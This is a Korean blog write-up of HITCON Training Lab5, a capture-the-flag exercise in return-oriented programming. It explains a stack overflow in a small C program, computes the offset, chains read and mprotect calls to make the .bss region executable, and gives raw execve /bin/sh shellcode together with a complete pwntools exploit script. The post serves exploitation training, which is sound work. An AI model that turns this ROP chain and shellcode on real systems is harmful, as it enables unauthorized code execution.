Lab5. Return Oriented Programming

2020. 12. 9. 00:00문제연습/Hitcon training

반응형

 

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

Lab5. Return Oriented Programming

본 네이버 블로그는 모바일에 최적화되어 있습니다.PC 유저분들은 아래 티스토리 블로그를 이용해 주세요...

blog.naver.com

 

Chaining Skills

이번 문제에서 요구하는 로직은 이전 문제와 거의 동일하나, chaining 기술을 요구하며

조금의 사전조사가 필요하니 풀이에 참고하시길 바랍니다.

 

1. 문제 파일

바이너리 분석)

이번 실행파일은 저번 문제와 다르게 정적 링크 라이브러리 방식입니다.

(= 다시 말해 바이너리 안에 함수들의 원형과 정의가 모두 포함되어 있어서 주소 랜덤화 기법인 aslr이 없다는 뜻입니다.)

 

Partial RELRO, NX가 걸려 있군요.

다음으로 소스코드를 분석하도록 하겠습니다.

 

 

소스코드 분석)

//simplerop.c

#include <stdio.h>

int main(){
    char buf[20];
    puts("ROP is easy is'nt it ?");
    printf("Your input :");
    fflush(stdout);
    read(0,buf,100);
}

 

해당 코드를 보면 buf[20] 배열에 100byte 값을 입력하기에 overflow 취약점이 존재합니다.

다음으로 실행파일 디버깅을 진행해보도록

 

 

- main 함수 어셈블리 코드

read 함수의 인자로 들어가는 부분을 확인하면 [esp+0x1c]가 buf의 내용이 스택에 저장되는 부분이며 and esp, ... 과 sub esp, 0x30을 통해서 버퍼와 ret까지 떨어진 거리는 다음과 같이 계산이 가능합니다.

 

0x8(and 연산) + 0x30(sub 연산) - 0x1c(버퍼 지점) + 4(sfp) = 32byte

즉, 우리가 32byte를 입력하면 ret 4byte에 우리가 원하는 주소로 덮어버릴 수 있습니다.

 

정리)

지금까지 내용을 정리하면 다음과 같습니다.

 

1. 정적 링크 방식이기에 고정 주소를 이용할 수 있다.

-> 다시 말해 굳이 libc를 통한 offset을 구할 필요가 없다.

 

2. nx가 걸려 있어서 스택 상의 실행 권한이 없다.

 

3. 32byte를 입력한 후 나머지 68byte를 임의적으로 조작이 가능하다.

 

이를 이용해 공격해 보도록 하겠습니다.

 

 

2. 문제 공략

전략 1)

- ret 주소에 system 함수 주소로 덮어버리고 쉘을 실행시키도록 인자 “bin/sh”를 넣어준다.

아쉽게도 해당 라이브러리에는 system 함수가 존재하지 않습니다.

따라서 1번 전략은 불가능합니다.

 

전략 2)

- 임의의 공간에 쉘코드를 저장해서 실행하도록 한다.

하지만 이 방법에는 한 가지 문제점이 존재합니다.

해당 실행 파일의 메모리 구조를 보면 rwx 권한 모두 부여된 공간이 존재하지 않습니다.

검색을 통해 확인해본 결과 mprotect라는 함수를 통해 메모리 영역의 권한을 수정하는 것이 가능하다고 합니다.

 

다행히도 해당 함수가 존재합니다.

그럼 2번 전략을 이용해 쉘 권한을 획득하도록 하겠습니다.

 

쉘코드를 특정 영역에 입력하여 저장한 다음, 그 메모리 구역에 rwx 권한을 부여합니다.

이후 그 주소로 점프하여 해당 쉘 코드를 실행하도록 합니다.

 

이 시나리오를 성공시키기 위해서는 다음 구성요소가 필요합니다.

 

 

1. read 함수의 주소, 인자.

2. 저장할 쉘 코드

3. mprotect 함수의 주소, 인자

4. pppr 가젯

 

하나하나씩 직접 찾아보도록 하겠습니다.

 

 

- read 함수, mprotect 함수의 주소

실행 파일에 아무 중단점을 걸고 다름과 같이 입력하면 함수 주소가 출력됩니다.

read : 0x806cd50

mprotect : 0x806d870

 

 

- 쉘 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89

\xe1\x89\xc2\xb0\x0b\xcd\x80

(25 바이트)

 

- read 함수의 인자

read(0, bss, length(shellcode))를 코드로 사용할 것이기에 해당 인자를 수동으로 구하면 다음과 같습니다.

 

bss

-> 임의적으로 쉘 코드를 저장할 영역으로 설정하였습니다. 어떤 공간이든 상관없습니다.

검색하니 .bss 영역이 검색되었습니다.

주소 : 0x080eaf80

 

length(shellcode)

-> 쉘 코드가 25byte이므로 26을 집어넣어 주면 됩니다.

 

 

- mprotect 함수의 인자

mprotect 함수의 원형은 다음과 같습니다.

int mprotect(void *addr, size_t len, int prot);

 

*addr

-> 권한을 변경할 메모리 주소입니다. 단, 페이지 단위 0x1000로 작성해야 합니다.

ex) 0x13454560(x), 0x12165000(o)

 

len

-> 권한을 변경하고 싶은 메모리의 크기를 나타내는 부분입니다.

즉, addr ~ addr + (len-1) 만큼 권한이 수정됩니다.

 

prot

-> 수정하고 싶은 권한을 나타내는 부분입니다.

PROT_NONE(=0) : The memory cannot be accessed at all.

PROT_READ(=1) : The memory can be read.

PROT_WRITE(=2) : The memory can be modified.

PROT_EXEC(=4) : The memory can be executed.

우리는 모든 권한을 부여할 것이기에 인자로 7을 주면 됩니다.

 

- pppr 가젯

-> gdb로 아무 구간에 중단점을 걸고 다음과 같이 입력하면 됩니다.

ropsearch “pop ?”

우리가 원하는 pppr 가젯의 주소가 출력됩니다.

저는 0x08058830을 사용하도록 하겠습니다.

(어차피 32bit 바이너리이고 chaining으로 계속 스택을 재구성할 것이기에 아무 가젯이나 찾아서 사용하시면 됩니다.)

 

 

이제 공격을 위한 payload를 작성하도록 하겠습니다.

# sol.py
from pwn import *

read = 0x806cd50
mprotect = 0x806d870
bss = 0x080eb000
length = 26
p3r = 0x08058830
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'


log.info("Show protection")
e=ELF("./simplerop")

payload = "A"*32 
payload += p32(read) + p32(p3r) + p32(0) + p32(bss) + p32(length) # dummy + read
payload += p32(mprotect) + p32(p3r) + p32(bss) + p32(length) + p32(7) # mprotect
payload += p32(bss) # bss


log.info("Exploit!!!")
p=process("./simplerop")
p.recvuntil("input :")

sleep(0.1)
p.sendline(payload)
sleep(0.1)
p.sendline(shellcode)
p.interactive()

 

 

아래 성공적으로 쉘 권한을 획득한 모습입니다.

 

이번 문제는 mprotect 함수만이 아니라 mmap 함수를 이용해 문제를 풀 수 있으니 풀이에 참고 바랍니다.

다음 시간에는 hitcon lab6를 풀어 보도록 하겠습니다.

 

반응형

'문제연습 > Hitcon training' 카테고리의 다른 글

Lab7. Format String Bug (진행 중)  (0) 2020.12.15
Lab6. Fake ebp, stack pivot (진행 중)  (0) 2020.12.13
Lab4. Return To Libc  (0) 2020.12.09
Lab3. 오버플로 공격 기초  (0) 2020.12.05
Lab1. 기본적인 디버거 사용법  (0) 2020.10.09